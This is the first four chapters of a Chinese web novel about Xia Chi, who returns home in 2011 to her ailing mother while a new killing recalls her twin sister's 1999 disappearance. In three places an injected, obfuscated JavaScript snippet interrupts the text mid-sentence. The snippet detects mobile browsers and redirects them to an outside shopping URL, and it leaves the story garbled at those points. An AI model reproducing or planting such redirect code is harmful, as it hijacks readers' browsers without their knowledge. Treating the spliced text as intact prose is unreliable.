《掌心的尤加利》 1. 第一章 2011年年末,皑皑的雪原上,一辆老旧的绿皮车喷着白烟缓缓驶过,奔向下一个停靠站——江城。 与外面白雪掩盖下的静谧安详不同,这辆车的车厢中充斥着各种各样的味道,有泡面、有卤鸡爪、还有车厢连接处飘过来的烟味儿,所有味道混杂在一起形成另一种更奇怪的味道,对鼻子而言是个相当大的灾难。 但车上的乘客在这里待了太久太久,鼻子麻木的已经毫无波澜,他们依旧吃着聊着,虽然是不认识的陌生人,但只要问一句“你家哪儿的”,哪怕老家隔着十万八千里,但凡是出生在这片肥沃的平原上,大家就都是老乡,就可以坐在一起分享着包里的美食、畅聊着外出打工的经历。 人们在狭窄的过道中摩肩接踵来回穿梭,高大的乘务员带着大檐帽,衬衫规规矩矩的系到最上面一颗扣子,精气神十足,他侧身与乘客们交错依次走过各个车厢,通知接下来的到站信息,嗓音比喇叭都要洪亮,“前方到站江城,下车的旅客提前做好准备,东西该拿好的都拿好,千万别落下!尤其是钱包手机等贵重物品,一定要看好!下车前把围脖手套都带上,多穿衣服多保暖,别冻感冒咯。” 等他走到硬卧车厢时,夏迟已经从床上爬下,穿戴整齐的坐在过道靠窗边的椅子上,拿着一款边角轻微磨损的老款银色随身听,戴着耳机听着轻音乐,目视着窗外飞驰而过的风景,旁边还有一个二十六寸的行李箱。 “诶让一让,小姑娘把行李箱挪个地儿,让我过去。” 夏迟回神,摘下一只耳机,赶紧将行李箱推到小桌下面,“不好意思啊。” 她不是让人一眼惊艳的大美人,但五官小巧精致,巴掌大的小脸圆乎乎的,看着特别有福气,是长辈特别喜欢的那种邻家闺女。 或许是联想到了自己女儿,乘务员便停下脚步和她多聊了几句,“这是回家?” 夏迟点点头,“嗯,马上要过年啦,回家看看爸妈。” 乘务员:“回家好啊,我家姑娘还在京市上大学,说是正准备期末考试呢,还得半个多月才能回来。” 夏迟:“哇,能考上那边的大学可太厉害了,平时学习就很好吧。” 乘务员:“还行吧,高考满分750她考了682,我说让她留家这边,等毕业考个公务员或者去当老师,她不听,非要去京市。我老婆就劝我,说孩子长大了,咱当爸妈的也不能不为孩子的前途着想总把孩子拴在身边啊,我一听也确实是这个理儿,就随她去了。” 夏迟:“大叔你太谦虚了,能考682在全省都是名列前茅,我当初要是考这分数做梦都能笑醒,你家姑娘肯定前途无量。” 有谁不爱听别人夸自己孩子呢,乘务员哈哈大笑,他还得去下一个车厢通知,不能耽误太长时间,临走前叮嘱道:“箱子里有没有围脖,赶紧找出来戴上,今天外边零下十八度,一刮起风来老冷了,像你这个岁数的小姑娘就是爱美,年轻时不注意身体,等到老了都得找回来。” 夏迟:“嗯嗯,现在戴太热,我下车之前一定戴上。” 告别了乘务员,夏迟轻轻叹口气。 老一辈的人确实是为了你好,但许久不见这种热情,夏迟还有点不习惯。 周围的乘客陆续从床上下来整理行李,外面的景色由一望无际的雪原渐渐变成了高楼,绿皮车越来越慢,最终停在了江城火车站。 夏迟将随身听小心收好,拖着行李箱走上月台,经过指示牌的指引,随着人群出站。 这个时候不好打车,夏迟跟着一群人站在路边,被冷风吹的直跺脚,她也不管出租车上是否亮着空车的牌子,每见一个就招手。 出租车在路边停下,后座还坐着两个人,司机摇下副驾驶车窗,大喊:“去哪儿?” 夏迟:“206住宅!” 司机摇摇头,显然是不顺路,于是轻踩油门向前滑动一段距离,继续去问下一个等候打车的人。 夏迟足足在路边站了二十分钟,总算遇到一个可以拼车的。 她把行李塞进后备箱,顶着冷风小跑着坐上了副驾驶的位置。 为了省油,车上的暖风开的很小,不过夏迟自小在这种环境里长大,冷是冷,但不是不能适应。等到把其余乘客都送到指定地点,夏迟低头瞄一眼计价器,上面已经显示14块钱了。 “放心吧姑娘,我不能坑你。”司机猛打方向盘,车子掉头驶上另一个主干道,“从火车站到你家就是起步价,你还跟别人拼车,那一块钱燃油费我就不收了,给我五块钱就行。” 夏迟:“嗯,大叔你一看就是个老司机,干了多少年了?” 司机:“哎呦,那可二十来年了,当年生活不景气,车还是跟我连桥凑钱买的,我开白天,他开晚上,这白天晚上的啊可累坏了。对了姑娘,你也是咱们这儿的吧。” 夏迟:“是啊,你咋知道的。” 司机:“除了从小在这儿长大的,谁还叫206住宅啊,现在都叫温馨小区。” 夏迟默默将目光投向窗外。 江城是北方的一座老工业城市,经历过辉煌,也经历过落寞,磕磕绊绊几十年,现在也慢慢的重新焕发了生机。市区的高楼越建越高,商场越建越大,就连那些老旧的工厂家属楼都在外面重新刷了漆改了名。 但夏迟还是很怀念那些红砖楼。 尤其是在雪后,红色的墙体配上皑皑的白雪,是她儿时最常见的景色,只可惜以后再也看不到了。 司机将她送到了小区门口,此时已是傍晚,冬日的白天格外短暂,才下午四点多就即将进入黑夜,城市里各处都亮起了灯。 夏迟拖着行李箱缓缓走到正门右手边的小超市,想着给老爸带一提啤酒,谁知在门口见到了一个熟人。 “红姨!”夏迟热情的打招呼,“好久不见啊。” 赵玉红一时没认出来,看了一会儿才想起她是谁,“是夏迟吧,你咋回来了,快快快,进屋坐一坐。” 门口还有两箱从推车上卸下来的听装可乐,是赵玉红要搬进屋子的,夏迟见状先把行李箱推到一个不碍事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959391|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,然后撸起袖子准备帮忙,“红姨你进屋歇着,这两箱交给我了。” “别别别。”赵玉红着急的直摆手,赶忙去拦,“等你大海叔回来搬,你穿的白,别弄埋汰了。” “没事,埋汰了再洗呗。”说着,夏迟直接抱起一箱,快步送到里面,然后又返回搬了第二箱。 屋内暖气开的特别足,待了片刻身上就开始热,夏迟拉开羽绒服拉链,好奇的环顾四周,看着堆满的货架惊喜道:“不错啊红姨,弄得太像样了,大海叔呢,这些年咋样啊。” 早些年赵玉红和丈夫杜大海在这里开了一间不大的小卖部,后来杜大海犯错进了监狱,赵玉红只好把这里兑出去交罚金,让杜大海轻判了几年。 赵玉红:“挺好的,我俩本来想找个别的营生,但都没啥手艺,也干不了别的,就想着干干老本行呗,现在这样也挺好的,也不指望挣多少钱,白天我就跟这儿坐着,来来往往有不少当年的老邻居,还能留一留,说个话。” 夏迟:“红姨你这样心态特别好,我可得向你多学习学习。” 赵玉红:“你这孩子就会哄人,唉,当年我可羡慕你妈了,我怀孕的时候就想要个贴心的姑娘,谁想到生下来是个小子,给我难受好几天。” 说到这儿,夏迟又问道:“我好久没回来也不知道什么情况,杜司宇现在干嘛呢?” 当年,赵玉红和夏迟的爸妈都是钢厂的工人,家都在206住宅,她和杜司宇从小就认识,只不过因为爸爸坐牢的事,杜司宇被迫辍学打工养家,那时的通讯还不像现在这么发达,一晃儿十来年过去,也就慢慢没了联系。 赵玉红叹气,“前两年在工地干活压折了胳膊,伤刚好就又跑出去了,今年说是工地加班给的多,过年就不回来了。” “上班了,都忙,他肯定是想着你的,但是为了多挣点钱孝敬你和大海叔,也没办法呀。”夏迟笑眯眯的跑过去抱住赵玉红,“不过没关系,今年我回来了,等到年三十儿,我来给你和大海叔拜年。” 赵玉红被哄的笑弯了眼,“那敢情好,你大海叔上货回来我和他说一声,到时候给你包个大红包。” 夏迟:“我都上班多少年了,哪儿还用红包,倒是我该给你和大海叔准备礼物。” 赵玉红:“不论长多大,你在我们眼里不还是孩子吗,这事就别犟了,你要不收红包就是和我们见外,红姨我可要生气了。” 说完,她不等夏迟拒绝,就去后面的厨房装了一包吃的。 “前两天新灌的肉肠,拿回去和你爸妈一起吃。” 夏迟没敢拒绝,老老实实的收下,“那就谢谢红姨啦。” 收好肉肠后,夏迟自己去拿了一提啤酒,临走时赵玉红突然叫住她,“诶,夏迟!” 夏迟回头看向她,“嗯,红姨,还有啥事啊?” 赵玉红欲言又止,片刻后轻轻摇了摇头,“其实也没啥,这不最近到了年末吗,每到年底街上都不消停,你一个小姑娘,晚上尽量少出门,就多在家陪陪你爸妈吧。” 2. 第二章 夏迟闻言没有多想,只当是赵玉红还记挂着当年那件事。 1999年,江城本地出现了一个连环杀手,那个人专挑在校学生下手,从小学到高中,也不分男生女生,一年作案数起,行为非常恶劣,然而受限于当时的侦查条件,这个凶手一直未被抓获。 夏迟有个双胞胎姐姐,名叫夏晚,那时二人就读于市实验一中,本以为每天上学放学都坐校车、入夜后不到处乱跑,这件事就不会发生在她们身上,结果就在那年年末,一个科任老师偶然发现夏晚早恋,便通过班主任告知了她们的妈妈李桂梅。 早恋在当时是件相当严重的事,所有家长都避如蛇蝎,只要有苗头必须直接掐死,李桂梅也不例外。夏迟记得那天李桂梅去到学校,冷着一张脸,听完了前因后果后把夏晚带回了家,娘俩发生了一次前所未有的激烈争吵,之后便是持续一周多的冷战。 夏迟在劝,爸爸夏国强也在劝,但娘俩仿佛铁了心似的谁也不肯先低头,在家里见了面就把对方当空气,一句话都不说。即使过了这么多年,夏迟仍然清晰记得当时的家庭氛围简直糟糕透了,只能用窒息来形容。 1999年是个特殊的年份,在这个即将迎来千禧年的时刻,市里决定在12月31日这天于江边办一场盛大的烟花活动,陪伴大家一起迈向新世纪。 那天,夏迟为了让夏晚换换心情,于是又叫上几个同学,一起去江边看烟花。 但那天去看烟花的人实在太多,江岸上人挤人,还差点发生了踩踏事件。夏迟和夏晚本来走在一起,可被挤在人群中根本没有自控的能力,没过多久就各自走散了。 等到过了十二点,时间也正式来到了新世纪的第一天,江边的活动结束,夏迟找到了失散的同学,可却迟迟找不到夏晚,本以为她先自己回家了,然而回到家里才发现,夏晚根本没有回来。 自那一夜过后,夏晚仿佛人间蒸发了一样,彻底消失在了他们的生命中。 虽然警方承诺会尽全力搜索,但大家心里都明白,照现在这种情况来看,夏晚已经凶多吉少,就算找到最后,也只是大概率发现一具尸体而已。 可夏国强和李桂梅不接受这个结果,他们坚信夏晚只是失踪了,一定还好好活在某个地方。对他们而言,没有消息似乎就是最好的消息。 而这件事对夏迟来说,不仅仅是失去了一个姐姐。在那之后,李桂梅每天放学都会去校门口接她,某天她疑似发现一个男人在跟踪夏迟,便第一时间报了警,虽然调查结果表示这只是一场误会,但李桂梅根本不信。 她觉得有人盯上了她的两个女儿,现在夏晚失踪,她不能再失去夏迟。于是她去学校找老师请了长假,让夏迟自己在家学习,哪怕夏迟之前一直保持着年级前三的成绩,哪怕老师说只要这个成绩保持住,夏迟绝对可以去到排名靠前的一本院校,可李桂梅就是不同意。 什么成绩什么前途,她都已经不在乎了,她只想让夏迟好好的活着。 高考成绩出来后,夏迟只擦边考了一个二本的分数,在填报志愿时,李桂梅非常强硬的要求她填了一个离家很远的学校,她坚信自己的女儿就是被人盯上了,她要送女儿走的远远的,远离这个是非之地,甚至逢年过节也不允许夏迟回家,生怕她再被盯上。 夏迟早就习惯了这种生活,谁知就在一个月前,她突然接到了爸爸的电话。 据夏国强说,从今年年初开始,李桂梅的身体状况就越来越遭,起初是反应慢且容易忘事,后来发展到不认识人。而且去医院检查后的情况也并不乐观,李桂梅除了阿茨海默、也就是大家时常提起的老年痴呆外,身体里还长了一颗肿瘤,检查结果出来时就是晚期,已经没有了继续治疗的必要。 夏国强知道这些年夏迟在外面也过的不容易,一开始想瞒着,可李桂梅已经这个情况,他怕给女儿留下什么遗憾,思来想去,最终还是决定将实情告诉了她。 于是夏迟向公司递交了辞呈,对她而言工作可以再找,但是能够陪伴妈妈的时间却不多了。 告别了赵玉红,夏迟拎着啤酒香肠、拖着行李箱往小区里面走。 206住宅是建国后修建的红砖楼,每栋楼共5层,是钢厂的职工家属楼,小区内一共12栋,分成两排,从里到外分别是1栋-6栋,7栋-12栋。 她十来年没有回家,儿时的那些记忆已经越来越模糊,这里现在叫温馨小区,房子外层被粉刷一新,早就没了红砖房的样子,除了位置还在原来的地方没有变过,完全看不出早年的任何痕迹。 一切的一切都变了,变得陌生,变得让她不敢相认。 她家住在3栋2单元401,慢慢走过6栋到4栋后,远远看见3栋楼头好像站着个人。 夏迟一怔,看了一会儿才艰难张口,“爸……” 夏国强站在路灯下,裹着一件她给买的黑色羽绒服,虽然戴着帽子,但额前鬓角的碎发已经变得花白,脸上也有了抹不掉的皱纹。他看着逐渐红了眼圈的夏迟也开始眼酸,有些勉强的咧嘴一笑,“回来了啊,里面没有灯,爸怕你怕黑,就在这儿等你。” 说着就上前去拉她的行李箱,“咋这么沉,这是拿了多少东西。” 夏迟把那股子酸涩压回心底,装作一副若无其事的样子,语气轻松,“这不是辞职了吗,就把能拿的都拿回来,租的也房子退了,剩下的东西放我朋友那儿了。” 夏国强知道她为什么辞职,也就没再提这茬,“正好在家多休息休息,爸每天都给你做好吃的。” 夏迟:“那敢情好,我可得好好尝尝你手艺是不是退步了。” 夏国强:“嘿,这孩子,你爸我当年也是开过饭店的人,手艺还能差了?你瞅着吧,绝对比你在外面吃的香。” 说话间,二人来到了单元门门口。 这几年市里对老小区进行改造,楼体外层刷了漆,原本薄薄的铁皮门改成了防盗门,楼道里也安装了感应灯,只不过现在还住在这里的都是上了岁数的退休职工,他们实在不习惯进出还得用钥匙开门,就偷偷把门上的锁头卸了,只剩一个圆形的窟窿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959392|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏迟上前去拉门,稍一用力差点把自己拽个趔趄,“这是把弹簧都卸了?” 夏国强拖着行李箱先进了楼道,用力跺脚点亮感应灯,“可不是吗,他们嫌门后那根弹簧碍事,说是没等进门门就要关,被拍了好几次,然后就给卸了。” 物业因此贴大字报警告了好几次,说如果再抓到就要罚款,但大家都不在乎,依旧我行我素。 等到夏迟进入楼道后,她看着灰扑扑的台阶、掉了漆的扶手、历经几十年的住家大门、以及开锁通下水的牛皮癣小广告,这才对回家一事有了点实感。 至少这些,还大致保留着原本的样子。 出门前,夏国强已经做好了菜,一进门扑面而来的除了热气,还有那股久违的饭菜香味儿。 “桂梅啊,姑娘回来了。”夏国强将行李箱立在门边,一边脱衣服一边朝客厅里招呼。 木头打造的家具、微微翘起的地板、墙上的老挂历、铺着旧床单的棉麻布沙发,家里还是记忆中的样子,仿佛瞬间回到了小时候,而变了的只有坐在那里的李桂梅。她的头发全都白了,脸上尽显老态,似乎被抽干了精气神,此时正拿着遥控器,眼睛直直盯着电视,毫无目的的一个接一个的换着频道。 听到夏国强的声音,李桂梅缓慢的扭头看向门口这边。 夏迟就站在她的面前,但在她的眼中只看到了疑惑和陌生。 “这是谁家的姑娘啊,真好看。”李桂梅扶着沙发扶手,慢腾腾起身,趿拉着拖鞋一步步走到夏迟面前,抬手去摸她的脸,“阿姨也有两个姑娘,一个叫夏晚,一个叫夏迟,都像你这么大了,现在在外面上班呢,都忙,忙的我都好久没见她们了,心里想的慌,可孩子在外忙工作是好事,忙点好,忙点好……” “妈……”这一刻,夏迟再也压制不住内心的情绪,抬手抱住李桂梅放声大哭,“妈,是我啊,我是夏迟,我回家了。” 李桂梅被她哭的一懵,“瞎说,你怎么是夏迟,我自己的姑娘我还能不认识吗。” 话虽如此,但她却没有推开夏迟,反倒是抬手轻轻拍着她的背,“不哭不哭了啊,姑娘你家在哪儿啊,这天也黑了,你一个人晚上出门也不安全,先在阿姨家里吃个饭,等吃完了饭让你夏叔给你送回家,要不你爸妈该担心了。” 夏国强做了一桌子的菜,李桂梅因为身体原因不能吃太多,他和夏迟则是压根没有胃口,起初他还和夏迟聊聊工作上的事,但说到最后也没有了太多话题。 沉闷又压抑,这是夏晚离开后家里的常态。 饭后,李桂梅早早进屋休息,夏迟帮着爸爸收拾好桌子也回了自己房间。 家里两室一厅,这其实是她和夏晚共同的房间,屋内共有两张单人床,一个长长的双人书桌,还有一个放着她们衣服的大衣柜。夏迟走到书桌前坐下,拉开抽屉,从里面拿出一本99年出版的星座杂志,正要翻开,兜里突然传来了手机铃声。 她拿出自己的滑盖手机,来电人是个对她而言非常熟悉的名字——乔颂。 3. 第三章 “喂,大明星~”夏迟故作轻松,不想因为自己的事情影响到别人的情绪,“怎么有时间给我打电话?没在组里拍戏?” 电话那边传来一个温柔的男声,略带着点无奈,“每次给你打电话都要被调侃。” 乔颂是夏迟高中的同班同学,从小学习舞蹈,高考和夏迟考到了同一个城市,大三社团表演时被导演看中从此进入了娱乐圈,到目前为止已经出演了十几部电视剧,在某部剧中饰演的深情男二赚足了观众的眼泪,也因此收获了不少粉丝。 他和夏迟关系很好,虽然毕业前就开始东奔西跑到处拍戏,但之间的联系始终没断,隔三差五还能打个电话分享最近的生活。 乔颂知道夏迟家里发生的事,也知道她辞职的原因。绿皮车经常晚点,他估摸着这个时候夏迟已经到家吃了饭,这才打来了电话。 乔颂:“阿姨现在怎么样?” 一提到这个话题,好不容易平复下来的心绪又开始蠢蠢欲动,这么多年过去,知道当年的事且还有联系的人只有乔颂,他也是夏迟唯一的朋友,夏迟想说点轻松的话,可真的说不出口。 夏迟:“她已经不认识我了。” 乔颂也没想到李桂梅会病的这么严重,“医院那边怎么说?” 夏迟简单复述一遍从爸爸那里得到的情况,简而言之,她的情况已经非常糟糕,“下周会去复查,但之前已经查过很多次了,都是同样的结果。” 电话那边的乔颂也开始替她着急,可长时间在社会上摸爬滚打、尤其是他这个行业会遇到形形色色的人,他知道情绪是最没有价值的,而且直面痛苦的人是夏迟,他不能让自己的情绪加重对方的焦虑。 乔颂:“夏迟,你听我说,这件事你先别担心,我下周剧组杀青,会飞回去陪你一起去医院给阿姨复查,咱们先看看这次复查的结果,如果还是很糟糕的话,我就联系一下认识的朋友,看能不能让阿姨直接来京市看病,这边的医疗条件更好,或许会有转机呢。至于钱的问题,你不要担心,我这里有,就当是你朝我借的,等以后找到工作可以慢慢还,我不着急用钱,你也别有太大压力。” 这已经是没有办法的办法,夏迟也想过这个问题,只是她没去过京市,要真带着父母一起去的话,住宿和医院都是问题,有了乔颂帮忙,这件事就方便了很多。 夏迟:“嗯,谢谢你,这些年我和我爸都攒了一些钱,应该够用的。” 听她接受了自己的建议,乔颂稍微松了口气,“那也好,钱不够的话再和我说。还有啊,你真不用和我这么客气,咱俩从高中认识到现在都十多年了,你的问题就是我的问题,再说,高中那会儿你也帮了我不少,咱俩彼此彼此。” “知道啦~”有个朋友聊聊天,夏迟的心情确实好了一点,“不过你也不用特意回来一趟,下周我带着我妈去检查,后续要是真需要你帮忙,我再给你打电话。” 乔颂:“也不是特意为了这事,本来今年我也是要回去看看的。” 乔颂的爸爸是警察,名叫乔万年,因为工作繁忙对家里疏于照顾,娶了乔颂的妈妈后就将家里大事小事都交给她负责,两个人都很累,经常吵架。乔颂出生那年乔万年正好跟着一起案子不方便回家,妈妈生下乔颂后因为羊水栓塞死亡,他都没回来见上最后一面。 过几年后,乔万年又娶了一个女人,这个女人生了个女儿名叫乔雅,是乔颂同父异母的妹妹,只可惜上了小学后遇到了那个犯下系列罪行的杀人犯,她妈妈埋怨乔万年没有早点抓住凶手,埋怨乔颂没有好好照顾妹妹,疯了一段时间后和乔万年离婚,好好的家庭再度支离破碎。 自此,乔万年没有再娶,家里就剩下了他和乔颂,但这么多年他对乔颂根本谈不上关心,也没做到身为父亲的义务,所以乔颂和他的关系非常淡薄,而且当他听说乔颂想要上大学后继续学习舞蹈时曾大发雷霆,说大老爷们根本不该学这个,应该去考警校将来和他一样当警察。 乔颂当时很犹豫,他想选择喜欢的舞蹈专业,可又觉得虽然关系淡薄,但爸爸终究是爸爸,实在想不开的时候就用家里座机给夏迟打电话聊聊天。夏迟从电话里听出了他的烦闷,追问之下才知道事情原委,于是极力劝说乔颂一定要遵照内心的选择。 乔颂:“乔警官去年退休了,我回去看看,聊一聊,兴许……” 夏迟:“乔颂,我还是觉得你别勉强自己,真的,不是我说你爸坏话,但你爸那个脾气又不是一天两天了,我真不觉得你俩能沟通出什么结果。” 乔万年就是看不上舞蹈专业,就是不认可他的选择,高考之前直接放话,说他要是选择这个专业就当没有过他这个儿子。乔颂没法反驳什么,但因为他的过分干涉错失了填报舞蹈专业的机会,一气之下彻底离家,考上大学后靠着姥姥姥爷的退休金才勉强凑齐了第一年的学费。 也正是因为这件事,父子俩十多年没有打过一次电话,已经处在断绝关系的边缘。 乔颂:“你想多了,我这次回去才不是要和他缓和关系,我妈妈的事,还有我的事,夏迟,我这辈子都不可能原谅他。” 夏迟:“那你回来干嘛?” 乔颂:“回去看他的笑话咯,看他怎么从一个威风凛凛的警察变成一个没人要的糟老头子,像他这种工作狂,没了工作肯定难受的要死。我现在虽然不跳舞了,但从事的可是他一点都看不上的下九流,我就这样站在他面前,气不死他。” 虽然夏迟想劝他看开一些,但她心里明白这是乔颂的一个心结,劝是劝不动的,“算了,你觉得开心就好,到时候他说什么你都别往心里去。” 这通电话一直打到夏迟手机没电,临睡前她换上另一块手机电池,然后用万能充给没电的电池充电。 做好这一切后她将随身听放在枕边,躺在床上,带着耳机,听着轻音乐进入梦乡。 或许是日有所思夜有所梦,梦里的她又回到了高中,那时的夏晚还在,姐妹俩早起吃着爸妈留下的早餐,而后匆匆忙忙套上校服去小区门口等班车。 一切尚未开始,一切尚未结束。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959393|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看着年关将至,夏迟也开始帮爸爸一起准备年货。 女儿今年回家,夏国强也很高兴,就打算多买点东西热热闹闹的过个年。当然,有些事他没有明说夏迟心里也明白,如果复查的结果依旧糟糕,这也许就是一家人在一起度过的最后一个新年。 这天,夏迟列了一张长长的购物清单,上面包括福字、春联、红灯笼、鞭炮等过年必备用品。 “爸,我出门了啊,还有没有什么要买的,我一块儿带回来。” 夏迟蹲在门口穿靴子,屋内的夏国强走出来,看着她的背影,犹豫片刻,笑道:“没什么要买的了,你早去早回,别到处乱跑。” “知道啦。”夏迟穿好靴子,站起来跺跺脚,“走咯~” 外面飘着轻雪,被清扫干净的路面上又铺了薄薄一层,走到还未有人涉足的地方,夏迟双脚并拢用力向前一跳,然后保持这个姿势跳跳蛙似的跳了一个圈,在地上留下了清晰的脚印。 ——嘿嘿,好玩~ 在家待了几天后,夏迟还是觉得自己更喜欢北方的气候,她喜欢看雪、喜欢踩雪、喜欢这种纯洁的白色,等到最冷的那几天,外出如果不戴口罩或者用围巾将嘴巴鼻子围起来,呼吸时连鼻粘膜都是痛的,一呼一吸间仿佛结了霜。 人民商场距离温馨小区大概五分钟的路程,已经开了几十年,一楼主卖学习用品,二楼主卖零碎的小玩意儿,比如头绳发卡之类,是当年女孩子们最喜欢来的地方,三楼是顶楼,没有一二楼的柜台摊位,而是做成了一个个小隔间,主卖衣帽鞋袜。 夏迟掀开厚重的棉门帘,扑面而来一股热气,眼前顿时起了雾。 随着网购的逐渐兴起,现在的年轻人更喜欢体验新潮去网上买东西,传统商店的客人越来越少,还能来这里的都是些上了年纪的人。 或许正是因为资金原因,这家商场除了头顶的灯更亮了以外,一切一切都还是夏迟记忆中的样子——狭窄的过道,逼仄的柜台,像蹲监狱一样待在柜台里的商家,进出还要挪动柜台下边的箱子、从这里钻出去。 今天不是周末,冷清的商场里几乎看不到顾客,商家或是无聊的坐在柜台后听广播,或是隔着过道互相聊天。夏迟在一楼走了一圈,好不容易找到一家挂满春联的柜台。 “叔,春联和福字怎么卖啊?” “小福字一块,大福字三块,这种立体的要五块,春联几块钱的都有,看你要什么样儿的。” 夏迟想着家里两室一厅,两个卧室、卫生间都得要个小福字,进户大门和冰箱一共两个大的,立体的会更好看一些。她挑挑拣拣先选了福字,然后又拿了一副读着喜欢的春联。 “一共二十二块。” “大过年的给抹个零头吧,二十咋样?” “那儿哪儿行啊,我看你个小姑娘都是本钱给你的,二十我就亏了。” 就在夏迟和柜台后的大叔讨价还价时,又一个中年男人走过来□□联,他听着夏迟的声音先是一怔,扭头确认后有些激动道:“是夏迟吗?我是韩老师啊。” 4. 第四章 韩途生是夏迟的高中班主任,八十年代初大学毕业后直接进入了江城化工厂上班,是当时的高材生,也很受领导重用,后来直接指派他协助工厂改造。 但就是这一行为引起了部分老工人的不满,他们认为自己工作了一辈子经验丰富,韩途生就是个毛都没长齐的小子,自己没理由听他的指挥,于是带头抵制,甚至有一次引起了不小的骚乱。 领导左右安抚,希望他们各退一步,然而韩途生认为工厂改造势在必行,也正因此双方闹到了水火不容的地步,没有人配合,改造受阻,女朋友受不了压力和他分手,这一系列的打击过后韩途生郁郁寡欢,最后从化工厂辞职,转行做了老师。 那个年代江城的老师几乎都是中专毕业,连大专毕业的都很少,更别提韩途生这种正规本科生。校领导对此非常重视,尤其在经过一段时间的锻炼后,韩途生所带的班级成绩较原来相比上升了一大截,于是破格让他做了班主任。 时至今日,韩途生仍然记得夏晚的事,似乎是怕夏迟伤心,就有意避开了这些。 而许久未见班主任,夏迟也非常开心,她也懒得继续和老板讲价,在韩途生买完对联后,十分热情的拉着老师准备找个能坐下来的地方叙叙旧。 商场对面是一个小公园,有不少老人在这里下象棋、打牌,这几年市政府又安装了不少健身器材,也方便了老人们锻炼身体。在它旁边还有几家小饭馆,夏迟挑了一间相对干净的家常菜,进去之后大手一挥直接点了四个,“锅包肉、地三鲜、皮蛋豆腐,还有……哦,辣焖明太鱼。” 她有印象,这几个菜都是老师爱吃的。 韩途生摘掉帽子,花白的头发被压的贴着头皮,他抬手呼噜两下,看着夏迟无奈笑道:“这家菜码大,四个菜怎么吃得了。” “没事没事。”夏迟去里面找老板要了一壶热水烫杯子,“吃不了我就打包,总之不会浪费就对了。” 十几分钟后,老板娘将四个菜全部上齐,夏迟和老师边吃边聊。 这么多年过去,师生间早就没了共同语言,韩途生简单说着这些年送走的一批批学生,夏迟也挑着说了几件工作上遇到的趣事,最后二人不可避免的同时想起了夏晚。 一杯白酒下肚,韩途生摇头叹气,“作为老师,我是真的为你可惜,明明那么好的成绩,唉……就连填写高考志愿那天,都是你妈妈带你来的,报的那么远,我还以为你再也不会回来了。” 夏迟:“没办法,我姐的事情一直是她心里的疙瘩,她是在担心我,我都明白。” 韩途生点点头,“你能想明白是最好的,我就是怕你也一直走不出来,你还年轻,过去的事情已经无法挽回,还是向前看吧。” 饭后,夏迟抢着去结账,韩途生拗不过她,得知她要在家待很长一段时间,就让她有时间去家里找他,要请她吃自己最拿手的白肉血肠。 韩途生住在化工厂小区,就在夏迟家隔壁,夏迟随口答应下来,反正她事情不多,也正好各家走一走叙叙旧。 夏迟还要去买鞭炮,二人走到路口,临分别时韩途生突然叫住她,“年底了,街上不太平,记得早点回家。” 然而这句十分平常的叮嘱,却让夏迟皱起了眉。 她回来那天,赵玉红这么提醒过,在家每次出门时夏国强也会提醒,到现在韩途生也这么说,虽然可能是大家都对当年的事心有余悸,可几次三番这么提醒,也显得太过刻意了。 “老师,是不是最近发生了什么事?” 韩途生一顿,但这种犹豫看在夏迟眼中,就带着隐瞒的意味。 他下意识的搓搓手指。 夏迟高二时,有次教学组办公室打扫卫生,韩途生在搬桌子的时候左手食指不小心被砸到,虽然没什么大碍,但他总觉得手指在痛,就有了这个习惯性的小动作。 没办法,在夏迟的持续追问下,韩途生只好说出了实情。 去年夏天,北方降水量持续增高,有不少地方发生了洪涝灾害,江城地理位置好,虽然江面高度持续上升,可终究没有淹到城区的马路。但这也不代表就是安全的,市里发了预警,请市民尽可能远离江边,免得失足落水。 然而意外还是发生了。 一个月后,处在下游的村民发现了一具双手反绑的尸体,死者性别女,大概十四五岁的年纪,已经被江水泡的臃肿发白,在警方调查后得出结论,这个孩子是在死后才被人扔入水中,而且作案手法几乎和当年那个连环杀手如出一辙。 那一刻,夏迟的脑中瞬间涌入了各种各样的记忆。 细雪飘落在她的脸上,顷刻间化成了水滴,她再也笑不出,怔怔的看着自己的老师,嗓音微微颤抖,“抓到凶手了吗?” 韩途生无奈摇头,“还没有,做的很干净,很多证据都被大水冲没了,警方调查也需要时间。而且……根据这孩子的失踪地点和发现时间,她被害的第一现场很可能是江边的人工岛。” 而当年,夏晚就是在那附近失踪的。 夏迟默默握紧了拳头,“家属怎么说?” 韩途生:“具体的我也不清楚,听别人说正闹呢,毕竟过去大半年了还没个结果,可能心理上接受不了吧。” 